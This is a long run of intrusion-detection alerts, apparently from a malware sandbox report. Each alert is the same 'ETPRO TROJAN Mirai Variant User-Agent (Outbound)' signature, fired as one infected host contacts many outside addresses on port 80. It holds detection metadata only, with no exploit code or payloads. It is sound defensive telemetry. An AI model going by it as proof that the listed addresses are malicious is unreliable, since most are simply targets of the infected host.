Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.216.67.200

Timestamp:	03/04/24-15:06:55.735438
SID:	2839471
Source Port:	60870
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.210.64.8

Timestamp:	03/04/24-15:07:59.991659
SID:	2839471
Source Port:	57646
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.149.182.244

Timestamp:	03/04/24-15:07:35.458917
SID:	2839471
Source Port:	46262
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.221.60.124

Timestamp:	03/04/24-15:07:57.502779
SID:	2839471
Source Port:	35556
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.133.90.131

Timestamp:	03/04/24-15:07:18.995856
SID:	2839471
Source Port:	58740
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.221.33.93

Timestamp:	03/04/24-15:07:55.287081
SID:	2839471
Source Port:	57194
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.59.212.33

Timestamp:	03/04/24-15:08:45.017474
SID:	2839471
Source Port:	51566
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.115.105.76

Timestamp:	03/04/24-15:08:27.637116
SID:	2839471
Source Port:	46876
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.56.72.176

Timestamp:	03/04/24-15:07:27.309927
SID:	2839471
Source Port:	34398
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.132.250.141

Timestamp:	03/04/24-15:06:10.569813
SID:	2839471
Source Port:	57184
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.221.179.180

Timestamp:	03/04/24-15:07:07.751109
SID:	2839471
Source Port:	60010
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.198.117.34

Timestamp:	03/04/24-15:07:48.421577
SID:	2839471
Source Port:	52966
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.180.163.211

Timestamp:	03/04/24-15:08:52.619859
SID:	2839471
Source Port:	40796
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.133.250.204

Timestamp:	03/04/24-15:08:41.842380
SID:	2839471
Source Port:	56382
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.28.219.4

Timestamp:	03/04/24-15:06:20.075750
SID:	2839471
Source Port:	47872
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.129.117.254

Timestamp:	03/04/24-15:08:37.603734
SID:	2839471
Source Port:	34086
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.9.107.232

Timestamp:	03/04/24-15:07:51.862687
SID:	2839471
Source Port:	34500
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.153.206.110

Timestamp:	03/04/24-15:06:47.093505
SID:	2839471
Source Port:	54710
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.100.76.88

Timestamp:	03/04/24-15:05:51.833577
SID:	2839471
Source Port:	59396
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.221.66.48

Timestamp:	03/04/24-15:07:31.840745
SID:	2839471
Source Port:	48922
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.216.9.203

Timestamp:	03/04/24-15:05:51.849366
SID:	2839471
Source Port:	43634
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.100.75.199

Timestamp:	03/04/24-15:08:14.500318
SID:	2839471
Source Port:	57318
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.85.3.251

Timestamp:	03/04/24-15:07:07.424720
SID:	2839471
Source Port:	43762
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.87.140.93

Timestamp:	03/04/24-15:06:28.785327
SID:	2839471
Source Port:	57206
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.110.147.132

Timestamp:	03/04/24-15:08:03.593624
SID:	2839471
Source Port:	34760
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.99.29.163

Timestamp:	03/04/24-15:06:30.876219
SID:	2839471
Source Port:	48446
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.100.6.154

Timestamp:	03/04/24-15:07:06.903778
SID:	2839471
Source Port:	41634
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.119.92.235

Timestamp:	03/04/24-15:07:21.795772
SID:	2839471
Source Port:	35482
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.15.41.238

Timestamp:	03/04/24-15:06:47.298159
SID:	2839471
Source Port:	47898
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.100.238.96

Timestamp:	03/04/24-15:08:18.890026
SID:	2839471
Source Port:	51966
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.176.248.53

Timestamp:	03/04/24-15:07:17.731128
SID:	2839471
Source Port:	47178
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.100.230.222

Timestamp:	03/04/24-15:07:56.842918
SID:	2839471
Source Port:	55544
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.100.42.47

Timestamp:	03/04/24-15:05:43.070268
SID:	2839471
Source Port:	54126
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.221.197.38

Timestamp:	03/04/24-15:07:18.531779
SID:	2839471
Source Port:	44736
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.100.148.94

Timestamp:	03/04/24-15:07:38.256208
SID:	2839471
Source Port:	51056
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.129.108.34

Timestamp:	03/04/24-15:06:00.141859
SID:	2839471
Source Port:	33232
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.215.140.78

Timestamp:	03/04/24-15:07:14.556906
SID:	2839471
Source Port:	49584
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.86.109.87

Timestamp:	03/04/24-15:07:38.832561
SID:	2839471
Source Port:	47236
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.214.134.44

Timestamp:	03/04/24-15:07:51.832819
SID:	2839471
Source Port:	52694
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.217.58.179

Timestamp:	03/04/24-15:08:41.018616
SID:	2839471
Source Port:	36450
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.57.54.68

Timestamp:	03/04/24-15:07:32.665423
SID:	2839471
Source Port:	59818
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.214.194.206

Timestamp:	03/04/24-15:08:50.297318
SID:	2839471
Source Port:	44634
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.183.151.202

Timestamp:	03/04/24-15:05:54.333396
SID:	2839471
Source Port:	55148
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.100.4.124

Timestamp:	03/04/24-15:08:20.192508
SID:	2839471
Source Port:	44988
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.100.190.108

Timestamp:	03/04/24-15:07:01.739740
SID:	2839471
Source Port:	42640
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.30.220.134

Timestamp:	03/04/24-15:08:05.906555
SID:	2839471
Source Port:	37902
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.191.130.152

Timestamp:	03/04/24-15:08:52.654794
SID:	2839471
Source Port:	40482
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.187.20.12

Timestamp:	03/04/24-15:06:04.740188
SID:	2839471
Source Port:	40148
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.28.240.200

Timestamp:	03/04/24-15:08:09.569592
SID:	2839471
Source Port:	51390
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.46.201.228

Timestamp:	03/04/24-15:08:19.853607
SID:	2839471
Source Port:	38986
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.129.205.81

Timestamp:	03/04/24-15:05:42.895003
SID:	2839471
Source Port:	55310
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.149.223.202

Timestamp:	03/04/24-15:07:35.470090
SID:	2839471
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.216.183.65

Timestamp:	03/04/24-15:08:41.017375
SID:	2839471
Source Port:	51530
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.50.105.25

Timestamp:	03/04/24-15:06:54.280629
SID:	2839471
Source Port:	35424
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.84.155.249

Timestamp:	03/04/24-15:08:38.783280
SID:	2839471
Source Port:	50856
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.99.57.184

Timestamp:	03/04/24-15:07:01.915749
SID:	2839471
Source Port:	56782
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.181.234.11

Timestamp:	03/04/24-15:06:46.144228
SID:	2839471
Source Port:	56386
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.81.162.213

Timestamp:	03/04/24-15:08:27.606489
SID:	2839471
Source Port:	48354
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.244.17.208

Timestamp:	03/04/24-15:08:09.785047
SID:	2839471
Source Port:	44856
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.217.114.233

Timestamp:	03/04/24-15:06:03.915134
SID:	2839471
Source Port:	32802
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.99.169.30

Timestamp:	03/04/24-15:06:15.890156
SID:	2839471
Source Port:	59440
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.171.211.195

Timestamp:	03/04/24-15:07:14.834117
SID:	2839471
Source Port:	46640
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.179.130.249

Timestamp:	03/04/24-15:07:17.710162
SID:	2839471
Source Port:	44902
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.169.27.104

Timestamp:	03/04/24-15:07:27.208386
SID:	2839471
Source Port:	34786
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.217.191.162

Timestamp:	03/04/24-15:06:20.020968
SID:	2839471
Source Port:	40460
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.47.18.146

Timestamp:	03/04/24-15:06:46.410224
SID:	2839471
Source Port:	38626
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.198.205.108

Timestamp:	03/04/24-15:08:38.985643
SID:	2839471
Source Port:	39902
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.198.131.87

Timestamp:	03/04/24-15:06:28.312761
SID:	2839471
Source Port:	35754
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.64.200.234

Timestamp:	03/04/24-15:07:00.215338
SID:	2839471
Source Port:	47316
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.198.80.29

Timestamp:	03/04/24-15:05:42.693944
SID:	2839471
Source Port:	48694
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.195.70.170

Timestamp:	03/04/24-15:06:09.261131
SID:	2839471
Source Port:	58418
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.19.69.16

Timestamp:	03/04/24-15:07:43.714446
SID:	2839471
Source Port:	42838
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.146.235.26

Timestamp:	03/04/24-15:06:59.144196
SID:	2839471
Source Port:	45246
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.101.236.59

Timestamp:	03/04/24-15:07:56.664293
SID:	2839471
Source Port:	53364
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.102.141.20

Timestamp:	03/04/24-15:08:27.792070
SID:	2839471
Source Port:	40724
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.74.205.137

Timestamp:	03/04/24-15:08:46.787495
SID:	2839471
Source Port:	36416
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.241.185.58

Timestamp:	03/04/24-15:07:17.544327
SID:	2839471
Source Port:	53912
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.198.212.216

Timestamp:	03/04/24-15:07:24.823397
SID:	2839471
Source Port:	43326
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.80.20.139

Timestamp:	03/04/24-15:06:42.618770
SID:	2839471
Source Port:	50482
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.100.128.4

Timestamp:	03/04/24-15:08:42.760890
SID:	2839471
Source Port:	37950
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.181.234.11

Timestamp:	03/04/24-15:06:43.775042
SID:	2839471
Source Port:	56378
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.159.28.130

Timestamp:	03/04/24-15:08:54.836986
SID:	2839471
Source Port:	35966
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.111.237.59

Timestamp:	03/04/24-15:06:37.272916
SID:	2839471
Source Port:	40030
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.28.220.91

Timestamp:	03/04/24-15:08:06.609976
SID:	2839471
Source Port:	49536
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.100.41.218

Timestamp:	03/04/24-15:05:43.070348
SID:	2839471
Source Port:	46380
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.99.33.190

Timestamp:	03/04/24-15:07:13.371898
SID:	2839471
Source Port:	46368
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.65.24.16

Timestamp:	03/04/24-15:07:38.825610
SID:	2839471
Source Port:	56616
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.216.245.147

Timestamp:	03/04/24-15:08:52.601087
SID:	2839471
Source Port:	47590
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.183.141.71

Timestamp:	03/04/24-15:08:31.699463
SID:	2839471
Source Port:	52598
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.80.182.200

Timestamp:	03/04/24-15:07:47.796616
SID:	2839471
Source Port:	44946
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.124.66.112

Timestamp:	03/04/24-15:06:01.967033
SID:	2839471
Source Port:	48206
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.187.210.153

Timestamp:	03/04/24-15:07:06.912763
SID:	2839471
Source Port:	47336
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.211.219.49

Timestamp:	03/04/24-15:06:37.193366
SID:	2839471
Source Port:	45858
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.106.28.103

Timestamp:	03/04/24-15:07:27.681569
SID:	2839471
Source Port:	38020
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.101.160.159

Timestamp:	03/04/24-15:08:09.720323
SID:	2839471
Source Port:	59526
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.187.210.175

Timestamp:	03/04/24-15:07:13.316937
SID:	2839471
Source Port:	49802
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.47.249.42

Timestamp:	03/04/24-15:07:40.696334
SID:	2839471
Source Port:	48272
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.15.41.238

Timestamp:	03/04/24-15:06:48.010084
SID:	2839471
Source Port:	47894
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 88.87.14.122

Timestamp:	03/04/24-15:08:59.867163
SID:	2839471
Source Port:	45218
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.196.110.161

Timestamp:	03/04/24-15:06:53.068985
SID:	2839471
Source Port:	36308
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.101.64.245

Timestamp:	03/04/24-15:06:28.791831
SID:	2839471
Source Port:	35440
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.74.28.191

Timestamp:	03/04/24-15:07:33.681058
SID:	2839471
Source Port:	37950
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.64.224.70

Timestamp:	03/04/24-15:07:07.474085
SID:	2839471
Source Port:	41766
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.179.170.108

Timestamp:	03/04/24-15:06:02.136100
SID:	2839471
Source Port:	53856
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.196.79.89

Timestamp:	03/04/24-15:06:22.412423
SID:	2839471
Source Port:	55172
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.65.119.40

Timestamp:	03/04/24-15:05:57.231246
SID:	2839471
Source Port:	40706
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.163.239.76

Timestamp:	03/04/24-15:07:07.464223
SID:	2839471
Source Port:	56574
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.101.246.219

Timestamp:	03/04/24-15:07:18.298919
SID:	2839471
Source Port:	49936
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.126.102.4

Timestamp:	03/04/24-15:07:23.934992
SID:	2839471
Source Port:	38186
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.217.15.200

Timestamp:	03/04/24-15:08:44.947131
SID:	2839471
Source Port:	34162
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 112.30.220.134

Timestamp:	03/04/24-15:08:09.382883
SID:	2839471
Source Port:	37912
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.100.148.94

Timestamp:	03/04/24-15:07:35.632653
SID:	2839471
Source Port:	51038
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.217.216.68

Timestamp:	03/04/24-15:06:33.881098
SID:	2839471
Source Port:	38624
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO TROJAN Mirai Variant User-Agent (Outbound) - Source IP: 192.168.2.13 - Destination IP: 95.59.108.108

Timestamp:	03/04/24-15:08:18.980429
SID:	2839471
Source Port:	35222
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

